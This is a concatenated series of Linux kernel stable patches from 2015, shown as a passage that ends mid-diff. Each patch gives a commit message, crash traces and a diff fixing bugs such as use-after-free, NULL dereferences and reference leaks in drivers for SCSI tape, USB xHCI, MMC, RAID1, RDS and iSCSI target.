"Seymour, Shane M" Date: Thu, 2 Jul 2015 12:01:10 +0000 Subject: st: null pointer dereference panic caused by use after kref_put by st_open MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit e7ac6c6666bec0a354758a1298d3231e4a635362 upstream. Two SLES11 SP3 servers encountered similar crashes simultaneously following some kind of SAN/tape target issue: ... qla2xxx [0000:81:00.0]-801c:3: Abort command issued nexus=3:0:2 -- 1 2002. qla2xxx [0000:81:00.0]-801c:3: Abort command issued nexus=3:0:2 -- 1 2002. qla2xxx [0000:81:00.0]-8009:3: DEVICE RESET ISSUED nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800c:3: do_reset failed for cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800f:3: DEVICE RESET FAILED: Task management failed nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-8009:3: TARGET RESET ISSUED nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800c:3: do_reset failed for cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800f:3: TARGET RESET FAILED: Task management failed nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-8012:3: BUS RESET ISSUED nexus=3:0:2. qla2xxx [0000:81:00.0]-802b:3: BUS RESET SUCCEEDED nexus=3:0:2. qla2xxx [0000:81:00.0]-505f:3: Link is operational (8 Gbps). qla2xxx [0000:81:00.0]-8018:3: ADAPTER RESET ISSUED nexus=3:0:2. qla2xxx [0000:81:00.0]-00af:3: Performing ISP error recovery - ha=ffff88bf04d18000. rport-3:0-0: blocked FC remote port time out: removing target and saving binding qla2xxx [0000:81:00.0]-505f:3: Link is operational (8 Gbps). qla2xxx [0000:81:00.0]-8017:3: ADAPTER RESET SUCCEEDED nexus=3:0:2. rport-2:0-0: blocked FC remote port time out: removing target and saving binding sg_rq_end_io: device detached BUG: unable to handle kernel NULL pointer dereference at 00000000000002a8 IP: [] __pm_runtime_idle+0x28/0x90 PGD 7e6586f067 PUD 7e5af06067 PMD 0 [1739975.390354] Oops: 0002 [#1] SMP CPU 0 ... Supported: No, Proprietary modules are loaded [1739975.390463] Pid: 27965, comm: ABCD Tainted: PF X 3.0.101-0.29-default #1 HP ProLiant DL580 Gen8 RIP: 0010:[] [] __pm_runtime_idle+0x28/0x90 RSP: 0018:ffff8839dc1e7c68 EFLAGS: 00010202 RAX: 0000000000000000 RBX: ffff883f0592fc00 RCX: 0000000000000090 RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000138 RBP: 0000000000000138 R08: 0000000000000010 R09: ffffffff81bd39d0 R10: 00000000000009c0 R11: ffffffff81025790 R12: 0000000000000001 R13: ffff883022212b80 R14: 0000000000000004 R15: ffff883022212b80 FS: 00007f8e54560720(0000) GS:ffff88407f800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 00000000000002a8 CR3: 0000007e6ced6000 CR4: 00000000001407f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process ABCD (pid: 27965, threadinfo ffff8839dc1e6000, task ffff883592e0c640) Stack: ffff883f0592fc00 00000000fffffffa 0000000000000001 ffff883022212b80 ffff883eff772400 ffffffffa03fa309 0000000000000000 0000000000000000 ffffffffa04003a0 ffff883f063196c0 ffff887f0379a930 ffffffff8115ea1e Call Trace: [] st_open+0x129/0x240 [st] [] chrdev_open+0x13e/0x200 [] __dentry_open+0x198/0x310 [] do_last+0x1f4/0x800 [] path_openat+0xd9/0x420 [] do_filp_open+0x4c/0xc0 [] do_sys_open+0x17f/0x250 [] system_call_fastpath+0x16/0x1b [<00007f8e4f617fd0>] 0x7f8e4f617fcf Code: eb d3 90 48 83 ec 28 40 f6 c6 04 48 89 6c 24 08 4c 89 74 24 20 48 89 fd 48 89 1c 24 4c 89 64 24 10 41 89 f6 4c 89 6c 24 18 74 11 ff 8f 70 01 00 00 0f 94 c0 45 31 ed 84 c0 74 2b 4c 8d a5 a0 RIP [] __pm_runtime_idle+0x28/0x90 RSP CR2: 00000000000002a8 Analysis reveals the cause of the crash to be due to STp->device being NULL. The pointer was NULLed via scsi_tape_put(STp) when it calls scsi_tape_release(). In st_open() we jump to err_out after scsi_block_when_processing_errors() completes and returns the device as offline (sdev_state was SDEV_DEL): 1180 /* Open the device. Needs to take the BKL only because of incrementing the SCSI host 1181 module count. */ 1182 static int st_open(struct inode *inode, struct file *filp) 1183 { 1184 int i, retval = (-EIO); 1185 int resumed = 0; 1186 struct scsi_tape *STp; 1187 struct st_partstat *STps; 1188 int dev = TAPE_NR(inode); 1189 char *name; ... 1217 if (scsi_autopm_get_device(STp->device) < 0) { 1218 retval = -EIO; 1219 goto err_out; 1220 } 1221 resumed = 1; 1222 if (!scsi_block_when_processing_errors(STp->device)) { 1223 retval = (-ENXIO); 1224 goto err_out; 1225 } ... 1264 err_out: 1265 normalize_buffer(STp->buffer); 1266 spin_lock(&st_use_lock); 1267 STp->in_use = 0; 1268 spin_unlock(&st_use_lock); 1269 scsi_tape_put(STp); <-- STp->device = 0 after this 1270 if (resumed) 1271 scsi_autopm_put_device(STp->device); 1272 return retval; The ref count for the struct scsi_tape had already been reduced to 1 when the .remove method of the st module had been called. The kref_put() in scsi_tape_put() caused scsi_tape_release() to be called: 0266 static void scsi_tape_put(struct scsi_tape *STp) 0267 { 0268 struct scsi_device *sdev = STp->device; 0269 0270 mutex_lock(&st_ref_mutex); 0271 kref_put(&STp->kref, scsi_tape_release); <-- calls this 0272 scsi_device_put(sdev); 0273 mutex_unlock(&st_ref_mutex); 0274 } In scsi_tape_release() the struct scsi_device in the struct scsi_tape gets set to NULL: 4273 static void scsi_tape_release(struct kref *kref) 4274 { 4275 struct scsi_tape *tpnt = to_scsi_tape(kref); 4276 struct gendisk *disk = tpnt->disk; 4277 4278 tpnt->device = NULL; <<<---- where the dev is nulled 4279 4280 if (tpnt->buffer) { 4281 normalize_buffer(tpnt->buffer); 4282 kfree(tpnt->buffer->reserved_pages); 4283 kfree(tpnt->buffer); 4284 } 4285 4286 disk->private_data = NULL; 4287 put_disk(disk); 4288 kfree(tpnt); 4289 return; 4290 } Although the problem was reported on SLES11.3 the problem appears in linux-next as well. The crash is fixed by reordering the code so we no longer access the struct scsi_tape after the kref_put() is done on it in st_open(). Signed-off-by: Shane Seymour Signed-off-by: Darren Lavender Reviewed-by: Johannes Thumshirn Acked-by: Kai Mäkisara Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman --- drivers/scsi/st.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/scsi/st.c b/drivers/scsi/st.c index 2a32036a9404..fa9811200c9d 100644 --- a/drivers/scsi/st.c +++ b/drivers/scsi/st.c @@ -1262,9 +1262,9 @@ static int st_open(struct inode *inode, struct file *filp) spin_lock(&st_use_lock); STp->in_use = 0; spin_unlock(&st_use_lock); - scsi_tape_put(STp); if (resumed) scsi_autopm_put_device(STp->device); + scsi_tape_put(STp); return retval; } -- cgit v1.2.3 From b07016348b0bec192414ade9fb0e385fdc8c4a52 Mon Sep 17 00:00:00 2001 From: Tom Hughes Date: Mon, 29 Jun 2015 19:41:49 +0100 Subject: mac80211: clear subdir_stations when removing debugfs commit 4479004e6409087d1b4986881dc98c6c15dffb28 upstream. If we don't do this, and we then fail to recreate the debugfs directory during a mode change, then we will fail later trying to add stations to this now bogus directory: BUG: unable to handle kernel NULL pointer dereference at 0000006c IP: [] mutex_lock+0x12/0x30 Call Trace: [] start_creating+0x44/0xc0 [] debugfs_create_dir+0x13/0xf0 [] ieee80211_sta_debugfs_add+0x6e/0x490 [mac80211] Signed-off-by: Tom Hughes Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman --- net/mac80211/debugfs_netdev.c | 1 + 1 file changed, 1 insertion(+) diff --git a/net/mac80211/debugfs_netdev.c b/net/mac80211/debugfs_netdev.c index 2d5b4f65c519..32bafdbdfd66 100644 --- a/net/mac80211/debugfs_netdev.c +++ b/net/mac80211/debugfs_netdev.c @@ -697,6 +697,7 @@ void ieee80211_debugfs_remove_netdev(struct ieee80211_sub_if_data *sdata) debugfs_remove_recursive(sdata->vif.debugfs_dir); sdata->vif.debugfs_dir = NULL; + sdata->debugfs.subdir_stations = NULL; } void ieee80211_debugfs_rename_netdev(struct ieee80211_sub_if_data *sdata) -- cgit v1.2.3 From 04c6708522d382d8961214ceceed2052647f70c2 Mon Sep 17 00:00:00 2001 From: Joakim Tjernlund Date: Wed, 22 Jul 2015 16:44:26 +0200 Subject: mmc: sdhci-esdhc: Make 8BIT bus work commit 8e91125ff3f57f15c6568e2a6d32743b3f7815e4 upstream. Support for 8BIT bus with was added some time ago to sdhci-esdhc but then missed to remove the 8BIT from the reserved bit mask which made 8BIT non functional. Fixes: 66b50a00992d ("mmc: esdhc: Add support for 8-bit bus width and..") Signed-off-by: Joakim Tjernlund Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman --- drivers/mmc/host/sdhci-esdhc.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/mmc/host/sdhci-esdhc.h b/drivers/mmc/host/sdhci-esdhc.h index d25f9ab9a54d..d33bb9522416 100644 --- a/drivers/mmc/host/sdhci-esdhc.h +++ b/drivers/mmc/host/sdhci-esdhc.h @@ -40,7 +40,7 @@ #define ESDHC_DMA_SYSCTL 0x40c #define ESDHC_DMA_SNOOP 0x00000040 -#define ESDHC_HOST_CONTROL_RES 0x05 +#define ESDHC_HOST_CONTROL_RES 0x01 static inline void esdhc_set_clock(struct sdhci_host *host, unsigned int clock) { -- cgit v1.2.3 From 4713a3a3be8e81eddf2b4ab552e913b0a1cfaddf Mon Sep 17 00:00:00 2001 From: Jingju Hou Date: Thu, 23 Jul 2015 17:56:23 +0800 Subject: mmc: sdhci-pxav3: fix platform_data is not initialized commit 9cd76049f0d90ae241f5ad80e311489824527000 upstream. pdev->dev.platform_data is not initialized if match is true in function sdhci_pxav3_probe. Just local variable pdata is assigned the return value from function pxav3_get_mmc_pdata(). static int sdhci_pxav3_probe(struct platform_device *pdev) { struct sdhci_pxa_platdata *pdata = pdev->dev.platform_data; ... if (match) { ret = mmc_of_parse(host->mmc); if (ret) goto err_of_parse; sdhci_get_of_property(pdev); pdata = pxav3_get_mmc_pdata(dev); } ... } Signed-off-by: Jingju Hou Fixes: b650352dd3df("mmc: sdhci-pxa: Add device tree support") Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman --- drivers/mmc/host/sdhci-pxav3.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/mmc/host/sdhci-pxav3.c b/drivers/mmc/host/sdhci-pxav3.c index 4edb24bf56f8..c24fbc574cf1 100644 --- a/drivers/mmc/host/sdhci-pxav3.c +++ b/drivers/mmc/host/sdhci-pxav3.c @@ -255,6 +255,7 @@ static int sdhci_pxav3_probe(struct platform_device *pdev) mmc_of_parse(host->mmc); sdhci_get_of_property(pdev); pdata = pxav3_get_mmc_pdata(dev); + pdev->dev.platform_data = pdata; } else if (pdata) { /* on-chip device */ if (pdata->flags & PXA_FLAG_CARD_PERMANENT) -- cgit v1.2.3 From d83122855852f39491e9d418df397ea292b5a5be Mon Sep 17 00:00:00 2001 From: NeilBrown Date: Fri, 24 Jul 2015 09:22:16 +1000 Subject: md/raid1: fix test for 'was read error from last working device'. commit 34cab6f42003cb06f48f86a86652984dec338ae9 upstream. When we get a read error from the last working device, we don't try to repair it, and don't fail the device. We simple report a read error to the caller. However the current test for 'is this the last working device' is wrong. When there is only one fully working device, it assumes that a non-faulty device is that device. However a spare which is rebuilding would be non-faulty but so not the only working device. So change the test from "!Faulty" to "In_sync". If ->degraded says there is only one fully working device and this device is in_sync, this must be the one. This bug has existed since we allowed read_balance to read from a recovering spare in v3.0 Reported-and-tested-by: Alexander Lyakas Fixes: 76073054c95b ("md/raid1: clean up read_balance.") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman --- drivers/md/raid1.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/md/raid1.c b/drivers/md/raid1.c index 86ac4a4ccc01..fa58438b298a 100644 --- a/drivers/md/raid1.c +++ b/drivers/md/raid1.c @@ -327,7 +327,7 @@ static void raid1_end_read_request(struct bio *bio, int error) spin_lock_irqsave(&conf->device_lock, flags); if (r1_bio->mddev->degraded == conf->raid_disks || (r1_bio->mddev->degraded == conf->raid_disks-1 && - !test_bit(Faulty, &conf->mirrors[mirror].rdev->flags))) + test_bit(In_sync, &conf->mirrors[mirror].rdev->flags))) uptodate = 1; spin_unlock_irqrestore(&conf->device_lock, flags); } -- cgit v1.2.3 From 9fbf45ec96502ed1f3d6498c142e7e18f0cec9b2 Mon Sep 17 00:00:00 2001 From: Chris Metcalf Date: Thu, 23 Jul 2015 14:11:09 -0400 Subject: tile: use free_bootmem_late() for initrd commit 3f81d2447b37ac697b3c600039f2c6b628c06e21 upstream. We were previously using free_bootmem() and just getting lucky that nothing too bad happened. Signed-off-by: Chris Metcalf Signed-off-by: Greg Kroah-Hartman --- arch/tile/kernel/setup.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/tile/kernel/setup.c b/arch/tile/kernel/setup.c index 7a5aa1a7864e..5ebe93676201 100644 --- a/arch/tile/kernel/setup.c +++ b/arch/tile/kernel/setup.c @@ -1064,7 +1064,7 @@ static void __init load_hv_initrd(void) void __init free_initrd_mem(unsigned long begin, unsigned long end) { - free_bootmem(__pa(begin), end - begin); + free_bootmem_late(__pa(begin), end - begin); } #else -- cgit v1.2.3 From 15d6dd8f74b03fcdfbb66fa45f3c3dfdaccb3f75 Mon Sep 17 00:00:00 2001 From: Bernhard Bender Date: Thu, 23 Jul 2015 13:58:08 -0700 Subject: Input: usbtouchscreen - avoid unresponsive TSC-30 touch screen commit 968491709e5b1aaf429428814fff3d932fa90b60 upstream. This patch fixes a problem in the usbtouchscreen driver for DMC TSC-30 touch screen. Due to a missing delay between the RESET and SET_RATE commands, the touch screen may become unresponsive during system startup or driver loading. According to the DMC documentation, a delay is needed after the RESET command to allow the chip to complete its internal initialization. As this delay is not guaranteed, we had a system where the touch screen occasionally did not send any touch data. There was no other indication of the problem. The patch fixes the problem by adding a 150ms delay between the RESET and SET_RATE commands. Suggested-by: Jakob Mustafa Signed-off-by: Bernhard Bender Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman --- drivers/input/touchscreen/usbtouchscreen.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/drivers/input/touchscreen/usbtouchscreen.c b/drivers/input/touchscreen/usbtouchscreen.c index 5f87bed05467..20aef5d5a242 100644 --- a/drivers/input/touchscreen/usbtouchscreen.c +++ b/drivers/input/touchscreen/usbtouchscreen.c @@ -626,6 +626,9 @@ static int dmc_tsc10_init(struct usbtouch_usb *usbtouch) goto err_out; } + /* TSC-25 data sheet specifies a delay after the RESET command */ + msleep(150); + /* set coordinate output rate */ buf[0] = buf[1] = 0xFF; ret = usb_control_msg(dev, usb_rcvctrlpipe (dev, 0), -- cgit v1.2.3 From 74f412afcff28566ef240dc2a0f0af3994201fad Mon Sep 17 00:00:00 2001 From: Tejun Heo Date: Wed, 22 Jul 2015 18:05:53 -0400 Subject: blkcg: fix gendisk reference leak in blkg_conf_prep() commit 5f6c2d2b7dbb541c1e922538c49fa04c494ae3d7 upstream. When a blkcg configuration is targeted to a partition rather than a whole device, blkg_conf_prep fails with -EINVAL; unfortunately, it forgets to put the gendisk ref in that case. Fix it. Signed-off-by: Tejun Heo Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman --- block/blk-cgroup.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/block/blk-cgroup.c b/block/blk-cgroup.c index 1ff8e97f853a..8c4e81ac5e75 100644 --- a/block/blk-cgroup.c +++ b/block/blk-cgroup.c @@ -720,8 +720,12 @@ int blkg_conf_prep(struct blkcg *blkcg, const struct blkcg_policy *pol, return -EINVAL; disk = get_gendisk(MKDEV(major, minor), &part); - if (!disk || part) + if (!disk) return -EINVAL; + if (part) { + put_disk(disk); + return -EINVAL; + } rcu_read_lock(); spin_lock_irq(disk->queue->queue_lock); -- cgit v1.2.3 From 357dafbca56c66e47d3a76f036c47d8b756fe17b Mon Sep 17 00:00:00 2001 From: Lior Amsalem Date: Tue, 30 Jun 2015 16:09:49 +0200 Subject: ata: pmp: add quirk for Marvell 4140 SATA PMP commit 945b47441d83d2392ac9f984e0267ad521f24268 upstream. This commit adds the necessary quirk to make the Marvell 4140 SATA PMP work properly. This PMP doesn't like SRST on port number 4 (the host port) so this commit marks this port as not supporting SRST. Signed-off-by: Lior Amsalem Reviewed-by: Nadav Haklai Signed-off-by: Thomas Petazzoni Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman --- drivers/ata/libata-pmp.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/drivers/ata/libata-pmp.c b/drivers/ata/libata-pmp.c index 7ccc084bf1df..85aa76116a30 100644 --- a/drivers/ata/libata-pmp.c +++ b/drivers/ata/libata-pmp.c @@ -460,6 +460,13 @@ static void sata_pmp_quirks(struct ata_port *ap) ATA_LFLAG_NO_SRST | ATA_LFLAG_ASSUME_ATA; } + } else if (vendor == 0x11ab && devid == 0x4140) { + /* Marvell 4140 quirks */ + ata_for_each_link(link, ap, EDGE) { + /* port 4 is for SEMB device and it doesn't like SRST */ + if (link->pmp == 4) + link->flags |= ATA_LFLAG_DISABLED; + } } } -- cgit v1.2.3 From 76e0de0ab13401b76c5de2f48bd8d4edf809f9a5 Mon Sep 17 00:00:00 2001 From: Oliver Neukum Date: Mon, 6 Jul 2015 13:12:32 +0200 Subject: usb-storage: ignore ZTE MF 823 card reader in mode 0x1225 commit 5fb2c782f451a4fb9c19c076e2c442839faf0f76 upstream. This device automatically switches itself to another mode (0x1405) unless the specific access pattern of Windows is followed in its initial mode. That makes a dirty unmount of the internal storage devices inevitable if they are mounted. So the card reader of such a device should be ignored, lest an unclean removal become inevitable. This replaces an earlier patch that ignored all LUNs of this device. That patch was overly broad. Signed-off-by: Oliver Neukum Reviewed-by: Lars Melin Signed-off-by: Greg Kroah-Hartman --- drivers/usb/storage/unusual_devs.h | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/drivers/usb/storage/unusual_devs.h b/drivers/usb/storage/unusual_devs.h index 821e1e2f70f6..da380a99c6b8 100644 --- a/drivers/usb/storage/unusual_devs.h +++ b/drivers/usb/storage/unusual_devs.h @@ -2032,6 +2032,18 @@ UNUSUAL_DEV( 0x1908, 0x3335, 0x0200, 0x0200, USB_SC_DEVICE, USB_PR_DEVICE, NULL, US_FL_NO_READ_DISC_INFO ), +/* Reported by Oliver Neukum + * This device morphes spontaneously into another device if the access + * pattern of Windows isn't followed. Thus writable media would be dirty + * if the initial instance is used. So the device is limited to its + * virtual CD. + * And yes, the concept that BCD goes up to 9 is not heeded */ +UNUSUAL_DEV( 0x19d2, 0x1225, 0x0000, 0xffff, + "ZTE,Incorporated", + "ZTE WCDMA Technologies MSM", + USB_SC_DEVICE, USB_PR_DEVICE, NULL, + US_FL_SINGLE_LUN ), + /* Reported by Sven Geggus * This encrypted pen drive returns bogus data for the initial READ(10). */ -- cgit v1.2.3 From 7e74269b3bb7f226e25ef02b8e61ccd47ebbfff2 Mon Sep 17 00:00:00 2001 From: Brian Campbell Date: Tue, 21 Jul 2015 17:20:28 +0300 Subject: xhci: Calculate old endpoints correctly on device reset commit 326124a027abc9a7f43f72dc94f6f0f7a55b02b3 upstream. When resetting a device the number of active TTs may need to be corrected by xhci_update_tt_active_eps, but the number of old active endpoints supplied to it was always zero, so the number of TTs and the bandwidth reserved for them was not updated, and could rise unnecessarily. This affected systems using Intel's Patherpoint chipset, which rely on software bandwidth checking. For example, a Lenovo X230 would lose the ability to use ports on the docking station after enough suspend/resume cycles because the bandwidth calculated would rise with every cycle when a suitable device is attached. The correct number of active endpoints is calculated in the same way as in xhci_reserve_bandwidth. Signed-off-by: Brian Campbell Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman --- drivers/usb/host/xhci.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/drivers/usb/host/xhci.c b/drivers/usb/host/xhci.c index 10223f2b18d2..1f901fc25590 100644 --- a/drivers/usb/host/xhci.c +++ b/drivers/usb/host/xhci.c @@ -3356,6 +3356,9 @@ int xhci_discover_or_reset_device(struct usb_hcd *hcd, struct usb_device *udev) return -EINVAL; } + if (virt_dev->tt_info) + old_active_eps = virt_dev->tt_info->active_eps; + if (virt_dev->udev != udev) { /* If the virt_dev and the udev does not match, this virt_dev * may belong to another udev. -- cgit v1.2.3 From 99bcb88e61c399787ae48e3c0a85e024b3c8e668 Mon Sep 17 00:00:00 2001 From: Zhuang Jin Can Date: Tue, 21 Jul 2015 17:20:29 +0300 Subject: xhci: report U3 when link is in resume state commit 243292a2ad3dc365849b820a64868927168894ac upstream. xhci_hub_report_usb3_link_state() returns pls as U0 when the link is in resume state, and this causes usb core to think the link is in U0 while actually it's in resume state. When usb core transfers control request on the link, it fails with TRB error as the link is not ready for transfer. To fix the issue, report U3 when the link is in resume state, thus usb core knows the link it's not ready for transfer. Signed-off-by: Zhuang Jin Can Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman --- drivers/usb/host/xhci-hub.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/drivers/usb/host/xhci-hub.c b/drivers/usb/host/xhci-hub.c index d939376c5dee..ea853e3da949 100644 --- a/drivers/usb/host/xhci-hub.c +++ b/drivers/usb/host/xhci-hub.c @@ -468,10 +468,13 @@ static void xhci_hub_report_link_state(struct xhci_hcd *xhci, u32 pls = status_reg & PORT_PLS_MASK; /* resume state is a xHCI internal state. - * Do not report it to usb core. + * Do not report it to usb core, instead, pretend to be U3, + * thus usb core knows it's not ready for transfer */ - if (pls == XDEV_RESUME) + if (pls == XDEV_RESUME) { + *status |= USB_SS_PORT_LS_U3; return; + } /* When the CAS bit is set then warm reset * should be performed on port -- cgit v1.2.3 From 5eeb26f296b528d9e6f8738a3c87726925bf6237 Mon Sep 17 00:00:00 2001 From: Zhuang Jin Can Date: Tue, 21 Jul 2015 17:20:30 +0300 Subject: xhci: prevent bus_suspend if SS port resuming in phase 1 commit fac4271d1126c45ceaceb7f4a336317b771eb121 upstream. When the link is just waken, it's in Resume state, and driver sets PLS to U0. This refers to Phase 1. Phase 2 refers to when the link has completed the transition from Resume state to U0. With the fix of xhci: report U3 when link is in resume state, it also exposes an issue that usb3 roothub and controller can suspend right after phase 1, and this causes a hard hang in controller. To fix the issue, we need to prevent usb3 bus suspend if any port is resuming in phase 1. [merge separate USB2 and USB3 port resume checking to one -Mathias] Signed-off-by: Zhuang Jin Can Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman --- drivers/usb/host/xhci-hub.c | 6 +++--- drivers/usb/host/xhci-ring.c | 3 +++ drivers/usb/host/xhci.h | 1 + 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/drivers/usb/host/xhci-hub.c b/drivers/usb/host/xhci-hub.c index ea853e3da949..0f71c3a22507 100644 --- a/drivers/usb/host/xhci-hub.c +++ b/drivers/usb/host/xhci-hub.c @@ -1048,10 +1048,10 @@ int xhci_bus_suspend(struct usb_hcd *hcd) spin_lock_irqsave(&xhci->lock, flags); if (hcd->self.root_hub->do_remote_wakeup) { - if (bus_state->resuming_ports) { + if (bus_state->resuming_ports || /* USB2 */ + bus_state->port_remote_wakeup) { /* USB3 */ spin_unlock_irqrestore(&xhci->lock, flags); - xhci_dbg(xhci, "suspend failed because " - "a port is resuming\n"); + xhci_dbg(xhci, "suspend failed because a port is resuming\n"); return -EBUSY; } } diff --git a/drivers/usb/host/xhci-ring.c b/drivers/usb/host/xhci-ring.c index 30533952b4a3..95fe1a432d29 100644 --- a/drivers/usb/host/xhci-ring.c +++ b/drivers/usb/host/xhci-ring.c @@ -1669,6 +1669,9 @@ static void handle_port_status(struct xhci_hcd *xhci, usb_hcd_resume_root_hub(hcd); } + if (hcd->speed == HCD_USB3 && (temp & PORT_PLS_MASK) == XDEV_INACTIVE) + bus_state->port_remote_wakeup &= ~(1 << faked_port_index); + if ((temp & PORT_PLC) && (temp & PORT_PLS_MASK) == XDEV_RESUME) { xhci_dbg(xhci, "port resume event for port %d\n", port_id); diff --git a/drivers/usb/host/xhci.h b/drivers/usb/host/xhci.h index ed8de724b285..deb2537ae75c 100644 --- a/drivers/usb/host/xhci.h +++ b/drivers/usb/host/xhci.h @@ -280,6 +280,7 @@ struct xhci_op_regs { #define XDEV_U0 (0x0 << 5) #define XDEV_U2 (0x2 << 5) #define XDEV_U3 (0x3 << 5) +#define XDEV_INACTIVE (0x6 << 5) #define XDEV_RESUME (0xf << 5) /* true: port has power (see HCC_PPC) */ #define PORT_POWER (1 << 9) -- cgit v1.2.3 From 6c3498f9eef9381a5d45d5b2ca23b455a36795c5 Mon Sep 17 00:00:00 2001 From: Wengang Wang Date: Mon, 6 Jul 2015 14:35:11 +0800 Subject: rds: rds_ib_device.refcount overflow commit 4fabb59449aa44a585b3603ffdadd4c5f4d0c033 upstream. Fixes: 3e0249f9c05c ("RDS/IB: add refcount tracking to struct rds_ib_device") There lacks a dropping on rds_ib_device.refcount in case rds_ib_alloc_fmr failed(mr pool running out). this lead to the refcount overflow. A complain in line 117(see following) is seen. From vmcore: s_ib_rdma_mr_pool_depleted is 2147485544 and rds_ibdev->refcount is -2147475448. That is the evidence the mr pool is used up. so rds_ib_alloc_fmr is very likely to return ERR_PTR(-EAGAIN). 115 void rds_ib_dev_put(struct rds_ib_device *rds_ibdev) 116 { 117 BUG_ON(atomic_read(&rds_ibdev->refcount) <= 0); 118 if (atomic_dec_and_test(&rds_ibdev->refcount)) 119 queue_work(rds_wq, &rds_ibdev->free_work); 120 } fix is to drop refcount when rds_ib_alloc_fmr failed. Signed-off-by: Wengang Wang Reviewed-by: Haggai Eran Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman --- net/rds/ib_rdma.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/net/rds/ib_rdma.c b/net/rds/ib_rdma.c index e8fdb172adbb..a985158d95d5 100644 --- a/net/rds/ib_rdma.c +++ b/net/rds/ib_rdma.c @@ -759,8 +759,10 @@ void *rds_ib_get_mr(struct scatterlist *sg, unsigned long nents, } ibmr = rds_ib_alloc_fmr(rds_ibdev); - if (IS_ERR(ibmr)) + if (IS_ERR(ibmr)) { + rds_ib_dev_put(rds_ibdev); return ibmr; + } ret = rds_ib_map_fmr(rds_ibdev, ibmr, sg, nents); if (ret == 0) -- cgit v1.2.3 From bde8e916ed7bfbb694792335043938e206636943 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marc-Andr=C3=A9=20Lureau?= Date: Fri, 17 Jul 2015 15:32:03 +0200 Subject: vhost: actually track log eventfd file MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5 upstream. While reviewing vhost log code, I found out that log_file is never set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet). Signed-off-by: Marc-André Lureau Signed-off-by: Michael S. Tsirkin Signed-off-by: Greg Kroah-Hartman --- drivers/vhost/vhost.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c index 60aa5ad09a2f..3aabc652f1b9 100644 --- a/drivers/vhost/vhost.c +++ b/drivers/vhost/vhost.c @@ -855,6 +855,7 @@ long vhost_dev_ioctl(struct vhost_dev *d, unsigned int ioctl, void __user *argp) } if (eventfp != d->log_file) { filep = d->log_file; + d->log_file = eventfp; ctx = d->log_ctx; d->log_ctx = eventfp ? eventfd_ctx_fileget(eventfp) : NULL; -- cgit v1.2.3 From 8345c7414c155c06b7cf953820f94e0b3fa83a57 Mon Sep 17 00:00:00 2001 From: Nicholas Bellinger Date: Wed, 22 Jul 2015 00:24:09 -0700 Subject: iscsi-target: Fix use-after-free during TPG session shutdown commit 417c20a9bdd1e876384127cf096d8ae8b559066c upstream. This patch fixes a use-after-free bug in iscsit_release_sessions_for_tpg() where se_portal_group->session_lock was incorrectly released/re-acquired while walking the active se_portal_group->tpg_sess_list. The can result in a NULL pointer dereference when iscsit_close_session() shutdown happens in the normal path asynchronously to this code, causing a bogus dereference of an already freed list entry to occur. To address this bug, walk the session list checking for the same state as before, but move entries to a local list to avoid dropping the lock while walking the active list. As before, signal using iscsi_session->session_restatement=1 for those list entries to be released locally by iscsit_free_session() code. Reported-by: Sunilkumar Nadumuttlu Cc: Sunilkumar Nadumuttlu Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman --- drivers/target/iscsi/iscsi_target.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/drivers/target/iscsi/iscsi_target.c b/drivers/target/iscsi/iscsi_target.c index 3c293ad6ae70..e91266974c0b 100644 --- a/drivers/target/iscsi/iscsi_target.c +++ b/drivers/target/iscsi/iscsi_target.c @@ -4649,6 +4649,7 @@ int iscsit_release_sessions_for_tpg(struct iscsi_portal_group *tpg, int force) struct iscsi_session *sess; struct se_portal_group *se_tpg = &tpg->tpg_se_tpg; struct se_session *se_sess, *se_sess_tmp; + LIST_HEAD(free_list); int session_count = 0; 